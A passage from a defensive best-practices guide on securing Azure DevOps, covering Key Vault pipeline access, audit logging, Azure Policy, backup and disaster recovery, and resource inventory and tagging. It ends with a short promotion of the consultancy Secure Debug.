5. Integrate with Azure DevOps: To use secrets stored in Azure Key Vault within your Azure DevOps pipelines, add the “AzureKeyVault” task to your pipeline definition. Configure the task with the appropriate Key Vault details and reference the secrets you want to use. This enables your pipeline to securely access the required secrets without storing them in plain text.

6. Use managed identities: When using Azure Key Vault with Azure services, such as VMs, App Services, or Functions, leverage managed identities for authentication. Managed identities eliminate the need to store and manage service principal credentials, providing a more secure and streamlined way to access your Key Vault.

7. Monitor and audit access: Regularly review the access logs and audit events for your Key Vault to identify any suspicious activity or potential security issues. Use Azure Monitor, Log Analytics, or other monitoring tools to keep track of Key Vault usage and access patterns.

8. Implement security best practices: Follow Azure Key Vault security best practices, such as enabling soft delete, using strong key types and sizes, and regularly rotating secrets, keys, and certificates. These best practices help ensure the security and resilience of your Key Vault.

9. Regularly review and update: Periodically review your Key Vault configuration, access controls, and stored items to ensure they remain effective and aligned with your organization’s security requirements. Update settings and processes as needed to address any changes in the threat landscape or to accommodate new security features or technologies.

By securely storing credentials, certificates, and access keys in Azure Key Vault, you can minimize the risk of security breaches and improve the overall security posture of your Azure DevOps projects. This approach helps ensure that sensitive information is managed securely and access controls are enforced consistently, fostering a culture of continuous improvement and collaboration between developers and security teams.

Configure access to Key Vault from Azure DevOps pipelines to protect credentials

Configuring access to Key Vault from Azure DevOps pipelines to protect credentials is crucial for maintaining the security of your build and release processes. By integrating Azure Key Vault with your pipelines, you can securely access sensitive information without exposing it in plain text. Here’s how to configure access to Key Vault from Azure DevOps pipelines to protect credentials:

1. Set up a service connection: In your Azure DevOps project, navigate to “Project settings” and then to the “Service connections” tab. Click on “New service connection” and choose “Azure Resource Manager.” Configure the connection to use either a service principal or a managed identity, and grant it the necessary permissions to access the target Key Vault.

2. Create an Azure Key Vault task: In your pipeline YAML file, add an AzureKeyVault task. This task will be responsible for fetching secrets from the Key Vault and making them available to the pipeline.

Configure the task with the following properties:

Copy code- task: AzureKeyVault@1 displayName: 'Fetch secrets from Azure Key Vault' inputs: azureSubscription: '<Your_Azure_Service_Connection>' 
KeyVaultName: '<Your_Key_Vault_Name>' SecretsFilter: '<Comma-separated_list_of_secrets>'

Replace <Your_Azure_Service_Connection> with the name of the service connection you created in step 1. Replace <Your_Key_Vault_Name> with the name of the target Key Vault. Replace <Comma-separated_list_of_secrets> with a comma-separated list of secret names you want to fetch from the Key Vault.

3. Reference fetched secrets in your pipeline: After the AzureKeyVault task fetches the secrets, you can reference them as variables in your pipeline using the $(SecretName) syntax. For example, if you fetched a secret named DatabasePassword, you can use it in a script task like this:

Copy code- script: | echo "Using secret: $(DatabasePassword)" displayName: 'Use fetched secret'

4. Use managed identities (optional): If your Azure DevOps pipeline runs on an Azure VM or another Azure service that supports managed identities, you can use a managed identity to authenticate to the Key Vault instead of a service principal. Configure the managed identity to have the necessary permissions to access the target Key Vault, and update the service connection in your Azure DevOps project to use the managed identity.

5. Secure your pipeline: To further secure your pipeline, follow best practices such as limiting access to the pipeline definition, using Role-Based Access Control (RBAC) to manage permissions, and regularly reviewing pipeline logs and activity for suspicious behavior.

By configuring access to Key Vault from Azure DevOps pipelines to protect credentials, you can minimize the risk of security breaches and maintain the confidentiality and integrity of sensitive information. This approach helps ensure that credentials and other secrets are managed securely, fostering a culture of continuous improvement and collaboration between developers and security teams.

Regular Auditing and Review

Monitor changes using Azure DevOps audit logs

Monitoring changes using Azure DevOps audit logs is essential for maintaining security, compliance, and operational awareness in your DevOps environment. Audit logs provide visibility into activities and changes within your Azure DevOps projects, enabling you to track user behavior, identify potential security issues, and troubleshoot problems. Here’s how to monitor changes using Azure DevOps audit logs:

1. Enable auditing: In your Azure DevOps organization settings, navigate to the “Audit” tab. Ensure that auditing is enabled for your organization. If it’s not, follow the on-screen instructions to enable it.

2. Access audit logs: Once auditing is enabled, you can view and download audit logs directly from the “Audit” tab in your Azure DevOps organization settings. Logs are available in JSON format and can be downloaded for further analysis or imported into other tools.

3. Filter and search audit logs: Use the built-in filtering and search capabilities to narrow down the logs to specific events, users, or time ranges. This can help you quickly identify and investigate suspicious activities or changes.

4. Configure log retention: By default, Azure DevOps retains audit logs for 90 days. You can adjust the retention period based on your organization’s compliance and security requirements. Keep in mind that increasing the retention period may result in additional storage costs.

5. Integrate with Azure Monitor: To gain more advanced monitoring and alerting capabilities, integrate Azure DevOps audit logs with Azure Monitor. This enables you to store logs for longer periods, analyze data using Log Analytics, and create custom alerts based on specific events or trends.

6. Set up alerts and notifications: In Azure Monitor, configure custom alerts and notifications to notify you when specific events occur or when certain thresholds are reached. This can help you proactively detect and respond to security incidents or operational issues.

7. Regularly review audit logs: Make it a habit to periodically review your Azure DevOps audit logs to identify any unusual patterns or activities. This can help you uncover potential security issues, maintain compliance, and ensure the overall health of your DevOps environment.

8. Train your team: Ensure that your team members are familiar with Azure DevOps audit logs and their importance. Encourage them to regularly review logs and report any suspicious activities or anomalies.

By monitoring changes using Azure DevOps audit logs, you can improve the security and compliance of your DevOps environment, identify potential issues early, and maintain a high level of operational awareness. This approach helps foster a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders, ultimately contributing to the success of your DevOps projects.

Continuously track and improve security posture with Azure Policy and Azure Security Center

Continuously tracking and improving your security posture with Azure Policy and Azure Security Center is essential for ensuring the ongoing security and compliance of your Azure DevOps environment. These tools help you define, monitor, and enforce security policies across your Azure resources, providing a comprehensive view of your security posture and facilitating continuous improvement. Here’s how to continuously track and improve security posture with Azure Policy and Azure Security Center:

1. Set up Azure Policy: Azure Policy allows you to define and enforce policies across your Azure resources. To get started, navigate to the Azure Policy service in the Azure portal, and create new policy assignments or initiatives. Choose from built-in policies or create custom ones to meet your organization’s security requirements.

2. Use Azure Security Center: Enable Azure Security Center to gain visibility into your overall security posture and receive recommendations for addressing potential security issues. Security Center helps you identify misconfigurations, insecure access controls, and other vulnerabilities in your Azure resources, including those related to your Azure DevOps projects.

3. Monitor compliance: Use Azure Policy and Azure Security Center to continuously monitor your compliance with security policies and standards. Regularly review the compliance dashboard and detailed reports to identify non-compliant resources and take corrective actions.

4. Remediate security issues: When Azure Policy or Azure Security Center identifies non-compliant resources or security vulnerabilities, take appropriate remediation actions. These may include adjusting configurations, updating access controls, or applying security patches.

5. Automate policy enforcement: Use Azure Policy’s built-in remediation tasks to automatically enforce compliance with certain policies. This can help you maintain a consistent security posture with minimal manual intervention.

6. Integrate with Azure DevOps: To further improve your security posture, integrate Azure Policy and Azure Security Center with your Azure DevOps pipelines. This can help you ensure that your infrastructure is secure and compliant throughout the development and deployment process.

7. Define and enforce secure baselines: Use Azure Policy and Azure Security Center to define secure baselines for your Azure resources, and enforce them consistently across your environment. Regularly review and update your baselines to address new security threats and vulnerabilities.

8. Train your team: Ensure that your development, operations, and security teams are familiar with Azure Policy and Azure Security Center, and understand their roles and responsibilities in maintaining a secure and compliant environment.

9. Continuously improve: Regularly review your security posture and policies, and update them as needed to address changes in your organization’s security requirements, the threat landscape, or new features and capabilities in Azure.

By continuously tracking and improving your security posture with Azure Policy and Azure Security Center, you can maintain a high level of security and compliance in your Azure DevOps environment, proactively address potential security issues, and foster a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders. This approach helps ensure the ongoing success of your DevOps projects and the security of your organization’s critical assets.

Perform internal and external security audits and penetration tests for evaluation

Performing internal and external security audits and penetration tests is essential for evaluating the security of your Azure DevOps environment and identifying potential vulnerabilities. Regular audits and tests help you uncover security weaknesses, validate existing security controls, and prioritize remediation efforts. Here’s how to perform internal and external security audits and penetration tests for evaluation:

1. Develop a security audit plan: Outline the scope, objectives, and schedule of your security audits. Include both internal and external audits, covering a comprehensive set of security controls, processes, and technologies. Consider relevant compliance requirements, industry best practices, and your organization’s security policies.

2. Engage external auditors: Hire a reputable external auditor or security firm to perform independent security audits and penetration tests. External auditors can provide an unbiased assessment of your security posture and help uncover vulnerabilities that may not be apparent to your internal team.

3. Conduct internal audits: Perform regular internal security audits to evaluate your Azure DevOps environment and identify potential weaknesses. Internal audits should cover various aspects of your environment, such as access controls, code review processes, pipeline security, and network configurations.

4. Perform penetration tests: Conduct regular penetration tests, also known as ethical hacking, to simulate real-world attacks on your Azure DevOps environment. Penetration tests help you identify vulnerabilities and weaknesses that may be exploited by attackers, allowing you to prioritize remediation efforts based on risk.

5. Obtain required permissions: Before performing penetration tests on Azure resources, ensure you have obtained the necessary permissions from Microsoft. Follow the Azure Penetration Testing Rules of Engagement and submit a penetration testing request form if needed.

6. Remediate identified vulnerabilities: After completing security audits and penetration tests, prioritize and address the identified vulnerabilities. Develop a remediation plan that outlines the necessary actions, resources, and timelines for addressing each vulnerability.

7. Update security policies and controls: Based on the findings of your security audits and penetration tests, review and update your security policies, controls, and processes. This may involve revising access controls, improving code review processes, or implementing additional security measures in your Azure DevOps pipelines.

8. Train your team: Ensure that your development, operations, and security teams are familiar with the outcomes of security audits and penetration tests, and understand their roles and responsibilities in addressing identified vulnerabilities. Provide training and resources to help your team develop the necessary skills for maintaining a secure environment.

9. Continuously monitor and improve: Regularly review and update your security posture, policies, and controls based on the results of security audits and penetration tests. Implement a continuous improvement process to proactively address new threats, vulnerabilities, and security best practices.

By performing internal and external security audits and penetration tests, you can evaluate your Azure DevOps environment’s security posture and identify potential vulnerabilities. This approach helps you maintain a secure and compliant environment, prioritize remediation efforts, and foster a culture of continuous improvement and collaboration between developers, security teams, and other stakeholders.

Security Configuration

Regularly review and update the security configurations of your Azure DevOps services, resources, and tools

Regularly reviewing and updating the security configurations of your Azure DevOps services, resources, and tools is an essential practice to maintain a secure environment and address evolving threats. Here’s a more detailed explanation of this topic:

1. Periodic assessments: Schedule regular assessments of your Azure DevOps services, resources, and tools to identify any outdated or misconfigured security settings. Regular assessments help ensure that your environment stays compliant with industry standards, regulatory requirements, and your organization’s security policies.

2. Security configuration baselines: Establish security configuration baselines for your Azure DevOps resources, such as repositories, pipelines, and environments. These baselines should align with best practices, industry standards, and your organization’s security requirements. Use tools like Azure Policy and Azure Security Center to define, enforce, and monitor these baselines consistently across your environment.

3. Patch management: Keep your Azure DevOps tools and resources up to date with the latest security patches and updates. This includes any extensions, integrations, or third-party tools used in your environment. Regularly check for updates, and establish a patch management process to apply them in a timely manner.

4. Change management: Implement a change management process to track, review, and approve any changes to your Azure DevOps security configurations. This process should involve key stakeholders, such as security teams, DevOps engineers, and project managers. Maintain a record of all changes, including the rationale, approvals, and any associated risks.

5. Monitoring and alerting: Continuously monitor your Azure DevOps environment for any unauthorized or suspicious changes to security configurations. Set up alerts to notify your security and operations teams of potential issues. Investigate any unexpected changes promptly to mitigate potential risks.

6. Training and awareness: Ensure that your development, operations, and security teams are aware of the importance of maintaining secure configurations in your Azure DevOps environment. Provide training and resources to help your team members understand their roles and responsibilities in managing security configurations and staying up to date with best practices.

By regularly reviewing and updating the security configurations of your Azure DevOps services, resources, and tools, you can maintain a secure environment, reduce potential risks, and ensure compliance with relevant standards and regulations. This proactive approach helps protect your organization’s assets and fosters a culture of continuous improvement and collaboration across teams.

Implement secure baselines for your Azure resources and enforce them consistently across your environment

Implementing secure baselines for your Azure resources and enforcing them consistently across your environment is crucial to maintaining a secure and compliant Azure DevOps setup. Here’s an expanded explanation of this topic:

1. Identify best practices: Start by researching best practices and industry standards for Azure resource configurations, such as the Center for Internet Security (CIS) benchmarks, NIST guidelines, and Microsoft’s own recommendations. These guidelines provide a foundation for creating secure baselines tailored to your organization’s needs and regulatory requirements.

2. Customize baselines: Adapt the identified best practices to your organization’s specific context, including your industry, regulatory environment, and unique business requirements. Collaborate with your security, development, and operations teams to ensure that your baselines address all relevant security concerns while maintaining operational efficiency.

3. Document and share baselines: Clearly document your secure baselines and make them accessible to all relevant stakeholders, such as developers, operations teams, and security personnel. This documentation should include configuration settings, recommended values, and explanations for each setting.

4. Automate baseline enforcement: Leverage Azure Policy and Azure Security Center to automate the enforcement of your secure baselines across your Azure resources. These tools allow you to define policies that automatically apply the desired configurations and monitor compliance in real-time.

5. Monitor compliance: Regularly review your environment’s compliance with your secure baselines, utilizing Azure Policy and Azure Security Center’s reporting features. Address any deviations promptly and investigate the root causes to prevent future occurrences.

6. Integrate with CI/CD pipelines: Integrate your secure baselines into your Continuous Integration and Continuous Deployment (CI/CD) pipelines to ensure that new resources and updates adhere to the established security standards. This helps maintain a consistent security posture throughout your development and deployment processes.

7. Regularly review and update baselines: As security best practices and industry standards evolve, it’s essential to regularly review and update your secure baselines to stay current. Engage your security, development, and operations teams in an ongoing process of evaluating and refining your baselines to address emerging threats and changes in your organization’s requirements.

By implementing secure baselines for your Azure resources and enforcing them consistently across your environment, you can maintain a strong security posture, reduce potential risks, and ensure compliance with relevant standards and regulations. This proactive approach helps protect your organization’s assets and fosters a culture of continuous improvement and collaboration across teams.

Use Azure Policy to define and enforce security configurations across your Azure resources

Using Azure Policy to define and enforce security configurations across your Azure resources is a crucial part of maintaining a secure and compliant environment. Here’s a more detailed explanation of this topic:

1. Understand Azure Policy: Azure Policy is a service within the Azure ecosystem that allows you to create, assign, and manage policies that enforce specific configurations or standards across your Azure resources. These policies can help ensure that your resources comply with your organization’s security requirements, industry best practices, and regulatory guidelines.

2. Create custom policies: Start by creating custom policies tailored to your organization’s security requirements. Policies are written in JSON format and define conditions and desired configurations for your resources. You can create policies from scratch or modify built-in Azure policy templates to suit your needs.

3. Assign policies to appropriate scopes: Assign your custom policies to appropriate scopes, such as management groups, subscriptions, or resource groups, to enforce your desired security configurations across your Azure resources. Ensure that the scope of each policy assignment aligns with your organization’s structure and security requirements.

4. Use policy initiatives: Group related policies into initiatives for easier management and assignment. Initiatives are collections of policies that share a common goal, such as maintaining compliance with a specific regulation or implementing a set of security best practices. Initiatives allow you to manage and assign multiple policies more efficiently.

5. Monitor policy compliance: Use Azure Policy’s built-in compliance reporting to monitor your resources’ adherence to assigned policies. Regularly review these reports to identify non-compliant resources, and address any deviations or violations promptly.

6. Remediate non-compliant resources: Use Azure Policy’s remediation capabilities to automatically fix non-compliant resources or to create remediation tasks for manual intervention. Remediation actions can include modifying configurations, deploying additional resources, or updating existing resources to meet policy requirements.

7. Integrate with Azure Security Center: Leverage Azure Security Center’s integration with Azure Policy to gain additional insights into your security posture and compliance status. Azure Security Center can provide recommendations and alerts based on your policy assignments and overall resource configurations.

By using Azure Policy to define and enforce security configurations across your Azure resources, you can maintain a consistent and secure environment, ensure compliance with relevant standards and regulations, and quickly identify and remediate non-compliant resources. This approach helps protect your organization’s assets and fosters a culture of continuous improvement and collaboration across teams.

Continuously monitor configuration changes and assess their impact on your security posture

Continuously monitoring configuration changes and assessing their impact on your security posture is vital for maintaining a secure environment and addressing potential risks in a timely manner. Here’s a more detailed explanation of this topic:

1. Enable auditing and logging: Ensure that auditing and logging are enabled for all your Azure DevOps resources, including repositories, pipelines, and environments. Use Azure Monitor, Azure Log Analytics, and other monitoring tools to collect, store, and analyze log data.

2. Set up monitoring dashboards: Create custom monitoring dashboards that provide real-time visibility into your Azure DevOps environment. Include key performance and security indicators, such as configuration changes, user activity, access attempts, and security alerts. This enables you to quickly identify and address potential issues.

3. Configure alerts and notifications: Set up alerts and notifications to inform your security, development, and operations teams about significant configuration changes, security events, or policy violations. Define thresholds and triggers for alerts, and ensure that relevant stakeholders receive timely notifications.

4. Implement change management processes: Establish a structured change management process to track, review, and approve configuration changes in your Azure DevOps environment. This process should involve key stakeholders, such as security teams, DevOps engineers, and project managers. Maintain a record of all changes, including the rationale, approvals, and any associated risks.

5. Conduct regular security assessments: Perform periodic security assessments to evaluate the impact of configuration changes on your security posture. These assessments should include vulnerability scanning, penetration testing, and security audits. Use the results of these assessments to identify areas of improvement and update your security policies, configurations, and processes accordingly.

6. Review and update security baselines: Regularly review and update your security baselines to ensure they remain aligned with your organization’s security requirements, industry best practices, and regulatory guidelines. Adjust your baselines based on the results of your security assessments and configuration change monitoring.

7. Train and educate your teams: Ensure that your development, operations, and security teams are aware of the importance of monitoring configuration changes and maintaining a strong security posture. Provide training and resources to help your team members understand their roles and responsibilities in managing and assessing the impact of configuration changes.

By continuously monitoring configuration changes and assessing their impact on your security posture, you can maintain a secure environment, reduce potential risks, and ensure compliance with relevant standards and regulations. This proactive approach helps protect your organization’s assets and fosters a culture of continuous improvement and collaboration across teams.

Data Recovery

Implement a robust backup and recovery strategy for your critical data, including source code, artifacts, and configuration data

Implementing a robust backup and recovery strategy for your critical data, including source code, artifacts, and configuration data, is essential for ensuring business continuity and reducing the impact of data loss or corruption. Here’s a more detailed explanation of this topic:

1. Identify critical data: Determine which data is critical to your organization’s operations and should be prioritized for backup and recovery. This may include source code, build artifacts, deployment configurations, and database backups.

2. Define backup frequency and retention policies: Establish how often backups should be created and how long they should be retained. This will depend on your organization’s requirements, industry best practices, and regulatory guidelines. Consider factors such as data change frequency, recovery point objectives (RPOs), and recovery time objectives (RTOs).

3. Choose appropriate backup methods: Select backup methods that best suit your organization’s needs and requirements. This may include full, incremental, or differential backups. You may also choose to use snapshot-based backups for virtual machines, databases, or storage accounts.

4. Use Azure-native backup solutions: Leverage Azure-native backup solutions, such as Azure Backup and Azure Site Recovery, to automate the backup and recovery process for your Azure DevOps resources. These solutions provide built-in integration, security, and scalability, making it easier to manage backups and recover data when needed.

5. Store backups offsite and/or in multiple locations: To minimize the risk of data loss due to a single point of failure, store backups in offsite locations or across multiple Azure regions. This ensures that your data is protected even in the event of a regional outage or disaster.

6. Encrypt backups: Use encryption to protect your backup data, both in transit and at rest. This helps ensure that your data remains secure and confidential, even if a backup is compromised.

7. Test backup and recovery processes: Regularly test your backup and recovery processes to ensure that they are functioning correctly and that you can successfully recover your critical data in the event of an incident. Identify and address any issues or bottlenecks in the recovery process.

8. Document and maintain your backup and recovery strategy: Clearly document your backup and recovery strategy, including procedures, schedules, and responsible parties. Ensure that this documentation is accessible to relevant stakeholders and is kept up to date as your environment evolves.

9. Train and educate your teams: Ensure that your development, operations, and security teams understand the importance of implementing a robust backup and recovery strategy. Provide training and resources to help them effectively manage and maintain your organization’s backup and recovery processes.

By implementing a robust backup and recovery strategy for your critical data, you can ensure business continuity, reduce the impact of data loss or corruption, and maintain a strong security posture. This proactive approach helps protect your organization’s assets and fosters a culture of continuous improvement and collaboration across teams.

Use Azure Backup and Azure Site Recovery to protect your data and applications

Using Azure Backup and Azure Site Recovery to protect your data and applications is an effective way to ensure business continuity and minimize downtime in the event of data loss or disasters. Here’s a more detailed explanation of this topic:

1. Azure Backup: Azure Backup is a cloud-based backup service that allows you to back up and restore data and applications in Azure. Key features and benefits of Azure Backup include:

   A. Support for various data types: Azure Backup supports backing up data from virtual machines (VMs), SQL databases, file shares, and more. This provides a comprehensive backup solution for your Azure resources.

   B. Centralized management: Azure Backup enables centralized management and monitoring of your backups across various Azure resources and subscriptions.

   C. Data encryption: Azure Backup provides encryption for your data both in transit and at rest, ensuring that your backups are secure and confidential.

   D. Flexible retention policies: With Azure Backup, you can define custom retention policies based on your organization’s requirements, industry best practices, and regulatory guidelines.

   E. Integration with Azure DevOps: Azure Backup can be integrated with Azure DevOps pipelines to automate backup and restore processes for your application data.

2. Azure Site Recovery: Azure Site Recovery (ASR) is a disaster recovery service that enables you to replicate, failover, and recover your applications in Azure. Key features and benefits of Azure Site Recovery include:

   A. Application replication: ASR allows you to replicate your applications and data to a secondary Azure region or an on-premises data center, ensuring that they remain available in the event of a disaster or regional outage.

   B. Flexible recovery plans: ASR enables you to create customized recovery plans that define the failover and recovery process for your applications. This allows you to tailor your disaster recovery strategy to your organization’s specific needs and requirements.

   C. Testing without disruption: ASR allows you to test your recovery plans without impacting your production environment, ensuring that your applications can be successfully recovered in the event of an incident.

   D. Integration with Azure DevOps: ASR can be integrated with Azure DevOps pipelines to automate the replication and failover processes for your applications

By using Azure Backup and Azure Site Recovery to protect your data and applications, you can ensure business continuity, minimize downtime, and maintain a strong security posture. This proactive approach helps protect your organization’s assets and fosters a culture of continuous improvement and collaboration across teams.

Regularly test your data recovery processes to ensure they are effective and up to date

Regularly testing your data recovery processes to ensure they are effective and up to date is crucial for maintaining business continuity and reducing the impact of data loss or corruption. Here’s a more detailed explanation of this topic:

1. Develop a testing schedule: Establish a schedule for testing your data recovery processes, based on your organization’s requirements, industry best practices, and regulatory guidelines. This schedule should take into account factors such as data change frequency, recovery point objectives (RPOs), and recovery time objectives (RTOs).

2. Test various recovery scenarios: During testing, simulate different recovery scenarios to ensure that your processes can handle various types of incidents, including data loss, corruption, hardware failures, software failures, and natural disasters. This will help you identify and address potential issues or weaknesses in your recovery processes.

3. Document test results: Document the results of your recovery tests, including any issues encountered, steps taken to resolve them, and lessons learned. This documentation can serve as a valuable reference for future testing and recovery efforts.

4. Update recovery plans: Based on the results of your tests, update your recovery plans to address any identified issues or weaknesses. This may include revising recovery procedures, adding new recovery tools or resources, or updating your backup and recovery strategy.

5. Train and educate your teams: Ensure that your development, operations, and security teams are aware of the importance of regularly testing data recovery processes and understand their roles and responsibilities in these tests. Provide training and resources to help them effectively manage and maintain your organization’s data recovery processes.

6. Review and update testing processes: Regularly review and update your testing processes to ensure they remain effective and aligned with your organization’s evolving needs and requirements. This may include updating testing schedules, procedures, or tools, as well as incorporating new technologies or industry best practices.

By regularly testing your data recovery processes, you can ensure they are effective and up to date, helping to maintain business continuity and minimize the impact of data loss or corruption. This proactive approach also supports a culture of continuous improvement and collaboration across teams and helps protect your organization’s assets.

Establish a disaster recovery plan to minimize downtime and data loss in case of a security breach or system failure

Establishing a disaster recovery plan is essential to minimize downtime and data loss in case of a security breach or system failure. Here’s a more detailed explanation of this topic: 1. Identify critical systems and assets: Determine which systems, applications, and data are critical to your organization’s operations and prioritize them in your disaster recovery plan. This will help you focus your efforts on the most important assets and minimize the impact of a security breach or system failure.

2. Define recovery objectives: Establish recovery point objectives (RPOs) and recovery time objectives (RTOs) for your critical systems and assets. RPOs define the maximum acceptable amount of data loss, while RTOs determine the maximum acceptable downtime for restoring systems and data.

3. Develop recovery strategies: Based on your recovery objectives, create strategies for recovering critical systems and data in case of a security breach or system failure. These strategies may include data backups, system replication, failover to alternate sites, or the use of redundant systems.

4. Document recovery procedures: Clearly document the steps and procedures to be followed in case of a security breach or system failure. This documentation should be easily accessible and regularly updated to reflect changes in your systems, applications, or recovery strategies.

5. Test and validate the plan: Regularly test your disaster recovery plan to ensure its effectiveness and validate that your recovery objectives can be met. This will help identify any weaknesses or gaps in your plan and provide valuable feedback for improvement.

6. Train and educate your teams: Ensure that your development, operations, and security teams are aware of the disaster recovery plan and understand their roles and responsibilities in its execution. Provide training and resources to help them effectively manage and maintain the plan.

7. Review and update the plan: Regularly review and update your disaster recovery plan to ensure it remains effective and aligned with your organization’s evolving needs and requirements. This may include updating recovery objectives, strategies, or procedures, as well as incorporating new technologies or industry best practices.

By establishing a disaster recovery plan, you can minimize downtime and data loss in case of a security breach or system failure, helping to maintain business continuity and protect your organization’s assets. This proactive approach also supports a culture of continuous improvement and collaboration across teams.

Inventory and Asset Management

Maintain an up-to-date inventory of all Azure DevOps resources, including repositories, pipelines, environments, and tools

Maintaining an up-to-date inventory of all Azure DevOps resources, including repositories, pipelines, environments, and tools, is crucial for managing and securing your organization’s assets effectively. Here’s a more detailed explanation of this topic:

1. Create a centralized inventory: Develop a centralized inventory system that lists all Azure DevOps resources, including repositories, pipelines, environments, and tools. This inventory should be easily accessible, searchable, and updatable, making it a valuable reference for your development, operations, and security teams.

2. Include relevant metadata: For each resource in your inventory, include relevant metadata, such as owner, creation date, last modification date, and access permissions. This information can help you monitor and track changes to your resources, identify potential security risks, and enforce access control policies.

3. Implement a tagging strategy: Use a consistent tagging strategy for your Azure DevOps resources to help you organize and manage them more effectively. Tags can be used to group resources by project, team, or environment, making it easier to apply security policies and manage access permissions.

4. Automate inventory updates: Implement automation to keep your inventory up to date as resources are added, modified, or removed. This can be done using Azure DevOps APIs, custom scripts, or third-party tools that integrate with Azure DevOps.

5. Regularly review and audit your inventory: Periodically review and audit your inventory to ensure its accuracy and completeness. This can help you identify resources that are no longer in use, enforce access control policies, and detect potential security risks.

6. Integrate with other asset management systems: If your organization uses other asset management systems, consider integrating your Azure DevOps inventory with these systems to provide a more comprehensive view of your organization’s assets and resources.

By maintaining an up-to-date inventory of all Azure DevOps resources, you can better manage and secure your organization’s assets, track changes, and enforce access control policies. This proactive approach helps protect your organization’s assets and fosters a culture of continuous improvement and collaboration across teams.

Use Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner

Using Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner is an important best practice for managing infrastructure as code. Here’s a more detailed explanation of this topic:

1. Standardize resource configurations: ARM templates enable you to define the desired configuration of your Azure resources in a JSON format. By using templates, you can standardize the configurations of your resources, ensuring that they are deployed and managed consistently across your organization.

2. Improve collaboration and version control: ARM templates can be stored in a source control system, such as Git, allowing you to track changes, collaborate with team members, and manage version history. This can help you maintain a clear understanding of the evolution of your infrastructure and facilitate collaboration across development, operations, and security teams.

3. Automate resource provisioning and updates: ARM templates enable you to automate the deployment and management of your Azure resources, reducing the potential for human error and inconsistencies. You can use Azure DevOps pipelines or other CI/CD tools to automatically deploy and update resources based on your templates.

4. Simplify resource management: By using ARM templates, you can manage multiple resources as a single unit, called a resource group. This simplifies resource management, as you can deploy, update, and delete resources within a group collectively, and apply consistent policies and access control across the group.

5. Validate and test templates: ARM templates allow you to validate and test your configurations before deploying them, helping you identify and resolve potential issues early in the development process. You can also use tools like the ARM Template Test Toolkit to perform additional validation and testing of your templates.

6. Reuse and share templates: ARM templates can be modular and reusable, enabling you to share common configurations across projects and teams. This promotes consistency and reduces the effort required to maintain and update your infrastructure.

By using Azure Resource Manager (ARM) templates to manage your Azure resources in a consistent and automated manner, you can improve collaboration, simplify resource management, and reduce the potential for human error and inconsistencies. This approach also supports a culture of continuous improvement and collaboration across teams, helping to protect your organization’s assets and streamline operations.

Implement tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes

Implementing tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes is an essential practice for effective resource management and organization. Here’s a more detailed explanation of this topic:

1. Define a consistent tagging strategy: Develop a consistent and standardized tagging strategy that is easy to understand and follow across your organization. Define which tags should be used and how they should be applied to your Azure resources.

2. Use meaningful and descriptive tags: Create meaningful and descriptive tags that accurately represent the purpose, owner, or other relevant attributes of your resources. This will make it easier for your team members to understand and manage your resources effectively.

3. Enforce tag usage: Ensure that your team members are consistently applying tags to your Azure resources according to your defined strategy. You can use Azure Policy to enforce tagging requirements and automatically apply tags based on certain conditions.

4. Monitor and audit tag usage: Regularly monitor and audit your tag usage to ensure that your resources are correctly categorized and that your tagging strategy is being followed. You can use tools like Azure Monitor and Azure Resource Graph to track tag usage and generate reports.

5. Update and maintain your tagging strategy: Continuously review and update your tagging strategy to ensure that it remains relevant and effective as your organization and resource landscape evolve. Keep your team members informed of any changes to the strategy and provide them with guidance on how to apply tags correctly.

6. Use tags for cost management and reporting: Tags can be used to group resources for cost management and reporting purposes, making it easier to allocate costs to projects, teams, or departments. Use Azure Cost Management to generate detailed reports based on your tags and gain insights into your resource consumption.

By implementing tagging strategies to categorize your Azure resources based on project, team, or other relevant attributes, you can improve resource management, organization, and cost allocation. This approach also promotes a culture of collaboration and shared responsibility across teams, helping to protect your organization’s assets and streamline operations.

Continuously monitor your inventory and resources for any unauthorized changes or access

Continuously monitoring your inventory and resources for any unauthorized changes or access is crucial for maintaining the security and integrity of your Azure DevOps environment. Here’s a more detailed explanation of this topic:

1. Use Azure Monitor: Utilize Azure Monitor to track and analyze resource usage, performance, and the overall health of your Azure resources. Set up alerts and notifications to be informed of any unusual activity or unauthorized changes.

2. Review Azure DevOps audit logs: Regularly review the audit logs in Azure DevOps to track changes and access to your resources. These logs provide detailed information about user activities, such as repository access, pipeline changes, and environment modifications. You can also set up alerts for specific events or actions that you deem high risk.

3. Implement Azure Security Center: Use Azure Security Center to monitor the security posture of your Azure resources and detect potential threats. Security Center can provide recommendations for improving your security configuration and alert you to suspicious activities.

4. Configure Azure Active Directory (AD) monitoring: Monitor your Azure AD for unauthorized access or changes to user accounts and groups. Azure AD provides audit logs and sign-in logs that can help you track user activities and detect potential security issues.

5. Set up intrusion detection and prevention systems: Implement intrusion detection and prevention systems (IDPS) to monitor network traffic for any unauthorized access or malicious activities. Azure offers several built-in IDPS solutions, such as Azure Firewall and Azure DDoS Protection.

6. Regularly audit access control and permissions: Periodically review user accounts, access permissions, and role assignments to ensure that only authorized users have access to your resources. Revoke access for users who no longer require it, and ensure that the principle of least privilege is followed when granting permissions.

7. Use automated tools for monitoring: Leverage automated tools, such as Azure Policy and Azure Automation, to continuously monitor your resources for unauthorized changes or access. You can create custom policies to enforce specific security requirements and automate remediation actions when needed.

By continuously monitoring your inventory and resources for unauthorized changes or access, you can proactively detect potential security issues and respond quickly to mitigate risks. This approach helps maintain the security and integrity of your Azure DevOps environment and fosters a culture of shared responsibility and vigilance across your organization.

Conclusion

In conclusion, adopting a comprehensive security approach when using Azure DevOps is crucial for protecting your organization’s assets and ensuring the integrity of your development and deployment processes. By following the guidelines outlined in this guide, you can effectively manage access control, authentication, network security, code security, Azure Key Vault usage, and regular auditing to maintain a secure environment.

Additionally, it’s essential to continuously monitor your inventory and resources, implement secure baselines, use Azure Policy, maintain a robust backup and recovery strategy, and establish a disaster recovery plan. Keeping an up-to-date inventory, managing resources with Azure Resource Manager templates, and implementing tagging strategies further enhance your security posture.

However, maintaining a secure environment requires ongoing effort and expertise. That’s where Secure Debug comes in. As a leading cybersecurity consultancy company, Secure Debug provides a range of services, including secure code audits, penetration testing, software development with a focus on cybersecurity, and cybersecurity training.

